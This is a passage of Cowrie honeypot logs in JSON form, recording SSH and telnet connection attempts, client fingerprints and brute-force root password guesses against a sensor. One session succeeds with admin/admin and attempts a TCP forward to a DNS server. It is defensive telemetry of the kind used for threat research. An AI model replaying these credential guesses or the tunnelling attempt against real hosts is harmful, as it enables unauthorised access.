one"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:29.816736Z","src_ip":"103.183.114.55","session":"df21c2e1bfa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135791","message":"login attempt [root/135791] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:30.480844Z","src_ip":"103.183.114.55","session":"df21c2e1bfa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:31.704675Z","src_ip":"103.183.114.55","session":"df21c2e1bfa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40806,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7ea3400215f","protocol":"telnet","message":"New connection: 152.42.224.71:40806 (10.17.0.5:23) [session: f7ea3400215f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:33.441723Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40816,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a98e8657a3b","protocol":"telnet","message":"New connection: 152.42.224.71:40816 (10.17.0.5:23) [session: 9a98e8657a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:34.510539Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.39.142","src_port":38670,"dst_ip":"159.203.135.109","dst_port":23,"session":"65116618fa18","protocol":"telnet","message":"New connection: 152.59.39.142:38670 (159.203.135.109:23) [session: 65116618fa18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:47.277865Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":46350,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a225d754115","protocol":"telnet","message":"New connection: 176.65.139.118:46350 (159.203.135.109:23) [session: 9a225d754115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:48.786515Z"}
{"eventid":"cowrie.session.closed","duration":3.5911710262298584,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:52.377586Z","src_ip":"176.65.139.118","session":"9a225d754115","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":35856,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a709656f002","protocol":"telnet","message":"New connection: 176.65.139.118:35856 (159.203.135.109:23) [session: 6a709656f002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:52.456098Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":56228,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e633162ba5a","protocol":"ssh","message":"New connection: 103.77.242.62:56228 (10.17.0.5:22) [session: 9e633162ba5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:54.358135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:54.362996Z","src_ip":"103.77.242.62","session":"9e633162ba5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:54.598418Z","src_ip":"103.77.242.62","session":"9e633162ba5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789qaz","message":"login attempt [root/123456789qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:55.307118Z","src_ip":"103.77.242.62","session":"9e633162ba5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.845622301101685,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:55.345103Z","src_ip":"152.42.224.71","session":"2bfce4463bed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:56.545316Z","src_ip":"103.77.242.62","session":"9e633162ba5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:57.781415Z","src_ip":"176.65.139.118","session":"6a709656f002","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.477083444595337,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:59.933048Z","src_ip":"176.65.139.118","session":"6a709656f002","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":48256,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca1e4f6a19c9","protocol":"telnet","message":"New connection: 176.65.139.118:48256 (159.203.135.109:23) [session: ca1e4f6a19c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:00.169594Z"}
{"eventid":"cowrie.session.closed","duration":13.255637645721436,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:00.533425Z","src_ip":"152.59.39.142","session":"65116618fa18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.007030248641968,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:02.517468Z","src_ip":"152.42.224.71","session":"9a98e8657a3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56136,"dst_ip":"159.203.135.109","dst_port":22,"session":"049ef124794d","protocol":"ssh","message":"New connection: 89.223.69.22:56136 (159.203.135.109:22) [session: 049ef124794d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:03.416204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:03.422559Z","src_ip":"89.223.69.22","session":"049ef124794d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:03.542296Z","src_ip":"89.223.69.22","session":"049ef124794d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nuttertools","message":"login attempt [root/nuttertools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:03.903769Z","src_ip":"89.223.69.22","session":"049ef124794d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:05.025419Z","src_ip":"89.223.69.22","session":"049ef124794d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.15716695785522,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:05.578724Z","src_ip":"152.42.224.71","session":"ba085ded3b84","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:05.924256Z","src_ip":"176.65.139.118","session":"ca1e4f6a19c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.190296411514282,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:08.359785Z","src_ip":"176.65.139.118","session":"ca1e4f6a19c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":36800,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f83b63719ab","protocol":"telnet","message":"New connection: 176.65.139.118:36800 (159.203.135.109:23) [session: 1f83b63719ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:08.480973Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":56526,"dst_ip":"10.17.0.5","dst_port":22,"session":"1588dc4b113a","protocol":"ssh","message":"New connection: 51.250.105.222:56526 (10.17.0.5:22) [session: 1588dc4b113a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:12.307331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:12.312421Z","src_ip":"51.250.105.222","session":"1588dc4b113a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:12.438181Z","src_ip":"51.250.105.222","session":"1588dc4b113a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"valentin","message":"login attempt [root/valentin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:12.812371Z","src_ip":"51.250.105.222","session":"1588dc4b113a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:13.944074Z","src_ip":"51.250.105.222","session":"1588dc4b113a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48722,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d7254feaeb7","protocol":"telnet","message":"New connection: 152.42.224.71:48722 (10.17.0.5:23) [session: 4d7254feaeb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:17.479648Z"}
{"eventid":"cowrie.session.closed","duration":120.00988507270813,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:26.722960Z","src_ip":"152.42.224.71","session":"e356906fade7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46170,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce85c31f2021","protocol":"telnet","message":"New connection: 152.42.224.71:46170 (10.17.0.5:23) [session: ce85c31f2021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:27.484468Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46184,"dst_ip":"10.17.0.5","dst_port":23,"session":"57d2b38f4d14","protocol":"telnet","message":"New connection: 152.42.224.71:46184 (10.17.0.5:23) [session: 57d2b38f4d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:33.832665Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":40602,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5582d3cf2e4","protocol":"ssh","message":"New connection: 176.32.39.21:40602 (159.203.135.109:22) [session: b5582d3cf2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:43.439118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:43.445355Z","src_ip":"176.32.39.21","session":"b5582d3cf2e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:43.564128Z","src_ip":"176.32.39.21","session":"b5582d3cf2e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"murzik","message":"login attempt [root/murzik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:43.923374Z","src_ip":"176.32.39.21","session":"b5582d3cf2e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:45.046506Z","src_ip":"176.32.39.21","session":"b5582d3cf2e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55816,"dst_ip":"10.17.0.5","dst_port":23,"session":"581f27a1592b","protocol":"telnet","message":"New connection: 152.42.224.71:55816 (10.17.0.5:23) [session: 581f27a1592b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:45.064109Z"}
{"eventid":"cowrie.session.closed","duration":23.194006204605103,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:57.026514Z","src_ip":"152.42.224.71","session":"57d2b38f4d14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2392,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b42cefad5b6","protocol":"ssh","message":"New connection: 87.251.64.176:2392 (10.17.0.5:22) [session: 7b42cefad5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:57.722184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:57.727311Z","src_ip":"87.251.64.176","session":"7b42cefad5b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:57.824085Z","src_ip":"87.251.64.176","session":"7b42cefad5b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:58.113500Z","src_ip":"87.251.64.176","session":"7b42cefad5b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:58.212479Z","session":"7b42cefad5b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:58.312930Z","src_ip":"87.251.64.176","session":"7b42cefad5b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:48:58.411646Z","src_ip":"87.251.64.176","session":"7b42cefad5b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":42060,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaeb8efffc0c","protocol":"telnet","message":"New connection: 213.108.3.46:42060 (10.17.0.5:23) [session: eaeb8efffc0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:03.045343Z"}
{"eventid":"cowrie.session.closed","duration":0.01645183563232422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:03.061666Z","src_ip":"213.108.3.46","session":"eaeb8efffc0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.76026725769043,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:16.244607Z","src_ip":"152.42.224.71","session":"ce85c31f2021","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00306749343872,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:18.225354Z","src_ip":"152.42.224.71","session":"1dca63340826","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.446072578430176,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:31.510061Z","src_ip":"152.42.224.71","session":"581f27a1592b","protocol":"telnet"}
